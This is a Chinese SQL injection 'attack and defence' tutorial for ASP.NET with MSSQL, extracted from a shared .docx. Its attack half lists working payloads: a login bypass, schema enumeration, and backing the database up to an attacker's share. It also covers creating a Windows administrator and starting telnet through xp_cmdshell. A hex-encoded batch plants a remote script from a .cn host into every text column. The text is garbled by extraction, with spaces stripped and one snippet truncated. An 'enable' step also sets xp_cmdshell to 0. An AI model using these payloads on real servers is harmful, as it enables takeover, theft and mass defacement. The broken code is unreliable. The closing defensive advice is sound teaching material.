SQL注入攻防入门详解.docx
《SQL注入攻防入门详解.docx》由会员分享,可在线阅读,更多相关《SQL注入攻防入门详解.docx(27页珍藏版)》请在冰点文库上搜索。
![SQL注入攻防入门详解.docx](https://file1.bingdoc.com/fileroot1/2023-8/16/c5070f27-e4c9-4088-b70b-169d606d907d/c5070f27-e4c9-4088-b70b-169d606d907d1.gif)
SQL注入攻防入门详解
毕业开始从事winfrm到今年转到 web ,在码农届已经足足混了快接近3年了,但是对安全方面的知识依旧薄弱,事实上是没机会接触相关开发……必须的各种借口。
这几天把sql注入的相关知识整理了下,希望大家多多提意见。
(对于sql注入的攻防,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避免后知后觉的犯下大错,专门查看大量前辈们的心得,这方面的资料颇多,将其精简出自己觉得重要的,就成了该文)
下面的程序方案是采用 ASP.NET+MSSQL,其他技术在设置上会有少许不同。
示例程序下载:
SQL注入攻防入门详解_示例
什么是SQL注入(SQLInjection)
所谓SQL注入式攻击,就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令。
在某些表单中,用户输入的内容直接用来构造(或者影响)动态SQL命令,或作为存储过程的输入参数,这类表单特别容易受到SQL注入式攻击。
尝尝SQL注入
1. 一个简单的登录页面
关键代码:
(详细见下载的示例代码)
1
2
3
4
5
6
privateboolNoProtectLogin(string userName,string password)
{
int count=(int)SqlHelper.Instance.ExecuteScalar(string.Format
("SELECTCOUNT(*)FROMLoginWHEREUserName='{0}'ANDPassword='{1}'",userName,password));
return count>0?
true :
false;
}
方法中userName和 password 是没有经过任何处理,直接拿前端传入的数据,这样拼接的SQL会存在注入漏洞。
(帐户:
admin 123456)
1) 输入正常数据,效果如图:
合并的SQL为:
SELECTCOUNT(*)FROMLoginWHEREUserName='admin'ANDPassword='123456'
2) 输入注入数据:
如图,即用户名为:
用户名:
admin’—,密码可随便输入
合并的SQL为:
SELECTCOUNT(*)FROMLoginWHEREUserName='admin'--Password='123'
因为UserName值中输入了“--”注释符,后面语句被省略而登录成功。
(常常的手法:
前面加上';'(分号,用于结束前一条语句),后边加上'--'(用于注释后边的语句))
2. 上面是最简单的一种SQL注入,常见的注入语句还有:
1) 猜测数据库名,备份数据库
a) 猜测数据库名:
anddb_name()>0 或系统表master.dbo.sysdatabases
b) 备份数据库:
;backupdatabase 数据库名 todisk=‘c:
\*.db’;--
或:
declare@asysname;set@a=db_name();backupdatabase@atodisk='你的IP你的共享目录bak.dat',name='test';--
2) 猜解字段名称
a) 猜解法:
and(selectcount(字段名)from 表名)>0 若“字段名”存在,则返回正常
b) 读取法:
and(selecttop1col_name(object_id('表名'),1)fromsysobjects)>0 把col_name(object_id('表名'),1)中的1依次换成2,3,4,5,6…就可得到所有的字段名称。
3) 遍历系统的目录结构,分析结构并发现WEB虚拟目录(服务器上传木马)
先创建一个临时表:
;createtabletemp(idnvarchar(255),num1nvarchar(255),num2nvarchar(255),num3nvarchar(255));--
a) 利用xp_availablemedia来获得当前所有驱动器,并存入temp表中
;inserttempexecmaster.dbo.xp_availablemedia;--
b) 利用xp_subdirs获得子目录列表,并存入temp表中
;insertintotemp(id)execmaster.dbo.xp_subdirs'c:
\';--
c) 利用xp_dirtree可以获得“所有”子目录的目录树结构,并存入temp表中
;insertintotemp(id,num1)execmaster.dbo.xp_dirtree'c:
\';-- (实验成功)
d) 利用 bcp 命令将表内容导成文件
即插入木马文本,然后导出存为文件。
比如导出为asp文件,然后通过浏览器访问该文件并执行恶意脚本。
(使用该命令必须启动’xp_cmdshell’)
Execmaster..xp_cmdshellN'BCP"select*fromSchoolMarket.dbo.GoodsStoreData;"queryoutc:
/inetpub/wwwroot/runcommand.asp-w-S"localhost"-U"sa"-P"123"'
(注意:
语句中使用的是双引号,另外表名格式为“数据库名.用户名.表名”)
在sql查询器中通过语句:
Execmaster..xp_cmdshellN'BCP’即可查看BCP相关参数,如图:
4) 查询当前用户的数据库权限
MSSQL中一共存在8种权限:
sysadmin,dbcreator,diskadmin,processadmin,serveradmin,setupadmin,securityadmin,bulkadmin。
可通过1=(selectIS_SRVROLEMEMBER('sysadmin'))得到当前用户是否具有该权限。
5) 设置新的数据库帐户(得到MSSQL管理员账户)
d) 在数据库内添加一个hax用户,默认密码是空
;execsp_addlogin'hax';--
e) 给hax设置密码 (null是旧密码,password是新密码,user是用户名)
;execmaster.dbo.sp_passwordnull,password,username;--
f) 将hax添加到sysadmin组
;execmaster.dbo.sp_addsrvrolemember'hax','sysadmin';--
6) xp_cmdshellMSSQL存储过程(得到WINDOWS管理员账户)
通过(5)获取到sysadmin权限的帐户后,使用查询分析器连接到数据库,可通过xp_cmdshell运行系统命令行(必须是sysadmin权限),即使用 cmd.exe 工具,可以做什么自己多了解下。
下面我们使用xp_cmdshell来创建一个 Windows 用户,并开启远程登录服务:
a) 判断xp_cmdshell扩展存储过程是否存在
SELECTcount(*)FROMmaster.dbo.sysobjectsWHERExtype='X'ANDname='xp_cmdshell'
b) 恢复xp_cmdshell扩展存储过程
Execmaster.dbo.sp_addextendedproc'xp_cmdshell','e:
\inetput\web\xplog70.dll';
开启后使用xp_cmdshell还会报下面错误:
SQLServer 阻止了对组件 'xp_cmdshell' 的过程 'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。
系统管理员可以通过使用sp_configure启用 'xp_cmdshell'。
有关启用 'xp_cmdshell' 的详细信息,请参阅 SQLServer 联机丛书中的 "外围应用配置器"。
通过执行下面语句进行设置:
-- 允许配置高级选项
EXECsp_configure'showadvancedoptions',1
GO
-- 重新配置
RECONFIGURE
GO
-- 启用xp_cmdshell
EXECsp_configure'xp_cmdshell',0
GO
--重新配置
RECONFIGURE
GO
c) 禁用xp_cmdshell扩展存储过程
Execmaster.dbo.sp_dropextendedproc'xp_cmdshell';
d) 添加windows用户:
Execxp_cmdshell'netuserawen/add';
e) 设置好密码:
Execxp_cmdshell'netuserawenpassword';
f) 提升到管理员:
Execxp_cmdshell'netlocalgroupadministratorsawen/add';
g) 开启telnet服务:
Execxp_cmdshell'netstarttlntsvr'
7) 没有xp_cmdshell扩展程序,也可创建Windows帐户的办法.
(本人windows7系统,测试下面SQL语句木有效果)
declare@shellint;
execsp_OAcreate'wscript.shell',@shelloutput;
execsp_OAmethod@shell,'run',null,'C:
\Windows\System32\cmd.exe/cnetuserawen/add';
execsp_OAmethod@shell,'run',null,'C:
\Windows\System32\cmd.exe/cnetuserawen123';
execsp_OAmethod@shell,'run',null,'C:
\Windows\System32\cmd.exe/cnetlocalgroupadministratorsawen/add';
在使用的时候会报如下错:
SQLServer 阻止了对组件 'OleAutomationProcedures' 的过程 'sys.sp_OACreate'、'sys.sp_OAMethod' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。
系统管理员可以通过使用sp_configure启用 'OleAutomationProcedures'。
有关启用 'OleAutomationProcedures' 的详细信息,请参阅 SQLServer 联机丛书中的 "外围应用配置器"。
解决办法:
sp_configure'showadvancedoptions',1;
GO
RECONFIGURE;
GO
sp_configure'OleAutomationProcedures',1;
GO
RECONFIGURE;
GO
好了,这样别人可以登录你的服务器了,你怎么看?
8) 客户端脚本攻击
攻击1:
(正常输入)攻击者通过正常的输入提交方式将恶意脚本提交到数据库中,当其他用户浏览此内容时就会受到恶意脚本的攻击。
措施:
转义提交的内容,.NET 中可通过System.Net.WebUtility.HtmlEncode(string) 方法将字符串转换为HTML编码的字符串。
攻击2:
(SQL注入)攻击者通过SQL注入方式将恶意脚本提交到数据库中,直接使用SQL语法UPDATE数据库,为了跳过System.Net.WebUtility.HtmlEncode(string) 转义,攻击者会将注入SQL经过“HEX编码”,然后通过exec可以执行“动态”SQL的特性运行脚本”。
参考:
注入:
SQL注入案例曝光,请大家提高警惕
恢复:
批量清除数据库中被植入的js
示例代码:
(可在示例附带的数据库测试)
a) 向当前数据库的每个表的每个字段插入一段恶意脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
Declare @TVarchar(255),@CVarchar(255)
Declare Table_CursorCursor For
Select A.Name,B.Name
From SysobjectsA,SyscolumnsBWhere A.Id=B.IdAnd A.Xtype='u' And (B.Xtype=99Or B.Xtype=35Or B.Xtype=231Or B.Xtype=167)
Open Table_Cursor
Fetch Next From Table_CursorInto @T,@C
While(@@Fetch_Status=0)
Begin
Exec('update['+@T+']Set['+@C+']=Rtrim(Convert(Varchar(8000),['+@C+']))+'' Fetch Next From Table_CursorInto @T,@C
End
Close Table_Cursor
DeallocateTable_Cursor
b) 更高级的攻击,将上面的注入SQL进行“HEX编码”,从而避免程序的关键字检查、脚本转义等,通过EXEC执行
1
2
dEcLaRe @svArChAr(8000)sEt @s=0x4465636c617265204054205661726368617228323535292c4043205661726368617228323535290d0a4465636c617265205461626c655f437572736f7220437572736f7220466f722053656c65637420412e4e616d652c422e4e616d652046726f6d205379736f626a6563747320412c537973636f6c756d6e73204220576865726520412e49643d422e496420416e6420412e58747970653d27752720416e642028422e58747970653d3939204f7220422e58747970653d3335204f7220422e58747970653d323331204f7220422e58747970653d31363729204f70656e205461626c655f437572736f72204665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c4043205768696c6528404046657463685f5374617475733d302920426567696e20457865632827757064617465205b272b40542b275d20536574205b272b40432b275d3d527472696d28436f6e7665727428566172636861722838303030292c5b272b40432b275d29292b27273c736372697074207372633d687474703a2f2f386638656c336c2e636e2f302e6a733e3c2f7363726970743e272727294665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c404320456e6420436c6f7365205461626c655f437572736f72204465616c6c6f63617465205461626c655f437572736f72;
eXeC(@s);--
c) 批次删除数据库被注入的脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
declare @delStrnvarchar(500)
set @delStr='
setnocounton
declare @tableNamenvarchar(100),@columnNamenvarchar(100),@tbIDint,@iRowint,@iResultint
declare @sqlnvarchar(500)
set @iResult=0
declare curcursor for
selectname,idfrom sysobjectswhere xtype='U'
open cur
fetch next from curinto @tableName,@tbID
while@@fetch_status=0
begin
declare cur1cursor for
--xtypein(231,167,239,175)为char,varchar,nchar,nvarchar类型
select name from syscolumnswhere xtypein (231,167,239,175)and id=@tbID
open cur1
fetch next from cur1into @columnName
while@@fetch_status=0
begin
set @sql='update[' +@tableName+']set['+@columnName+']=replace(['+@columnName+'],'''+@delStr+''','''')where['+@columnName+']like''%'+@delStr+'%'''
execsp_executesql@sql
set @iRow=@@rowcount
set @iResult=@iResult+@iRow
if@iRow>0
begin
print'表:
'+@tableName+',列:
'+@columnName+'被更新'+convert(varchar(10),@iRow)+'条记录;'
end
fetch next from cur1into @columnName
end
close cur1
deallocate cur1
fetch next from curinto @tableName,@tbID
end
print'数据库共有'+convert(varchar(10),@iResult)+'条记录被更新!
!
!
'
close cur
deallocate cur
setnocountoff
d) 我如何得到“HEX编码”?
开始不知道HEX是什么东西,后面查了是“十六进制”,网上已经给出两种转换方式:
(注意转换的时候不要加入十六进制的标示符 ’0x’ )
Ø 在线转换(TRANSLATOR,BINARY),进入……
Ø C#版的转换,进入……
9) 对于敏感词过滤不到位的检查,我们可以结合函数构造SQL注入
比如过滤了update,却没有过滤declare、exec等关键词,我们可以使用reverse来将倒序的sql进行注入:
1
declare @Avarchar(200);set @A=reverse('''58803303431''=emanresuerehw''9d4d9c1ac9814f08''=drowssaPtesxxxtadpu');
防止SQL注入
1. 数据库权限控制,只给访问数据库的web应用功能所需的最低权限帐户。
如MSSQL中一共存在8种权限:
sysadmin,dbcreator,diskadmin,processadmin,serveradmin,setupadmin,securityadmin,bulkadmin。
2. 自定义错误信息,首先我们要屏蔽服务器的详细错误信息传到客户端。
在 ASP.NET 中,可通过web.config配置文件的节点设置:
1
2
3
更详细,请进入……
mode:
指定是启用或禁用自定义错误,还是仅向远程客户端显示自定义错误。
On
指定启用自定义错误。
如果未指定defaultRedirect,用户将看到一般性错误。
Off
指定禁用自定义错误。
这允许显示标准的详细错误。
RemoteOnly
指定仅向远程客户端显示自定义错误并且向本地主机显示 ASP.NET 错误。
这是默认值。
看下效果图:
设置为一般性错误:
设置为:
3. 把危险的和不必要的存储过程删除
xp_:
扩展存储过程的前缀,SQL注入攻击得手之后,攻击者往往会通过执行xp_cmdshell之类的扩展存储过程,获取系统信息,甚至控制、破坏系统。
xp_cmdshell
能执行dos命令,通过语句sp_dropextendedproc删除,
不过依然可以通过sp_addextendedproc来恢复,因此最好删除或改名xplog70.dll(sqlserver2000、windows7)
xpsql70.dll(sqlserer7.0)
xp_fileexist
用来确定一个文件是否存在
xp_getfiledetails
可以获得文件详细资料
xp_dirtree
可以展开你需要了解的目录,获得所有目录深度
Xp_getnetname
可以获得服务器名称
Xp_regaddmultistring
Xp_regdeletekey
Xp_regdeletevalue
Xp_regenumvalues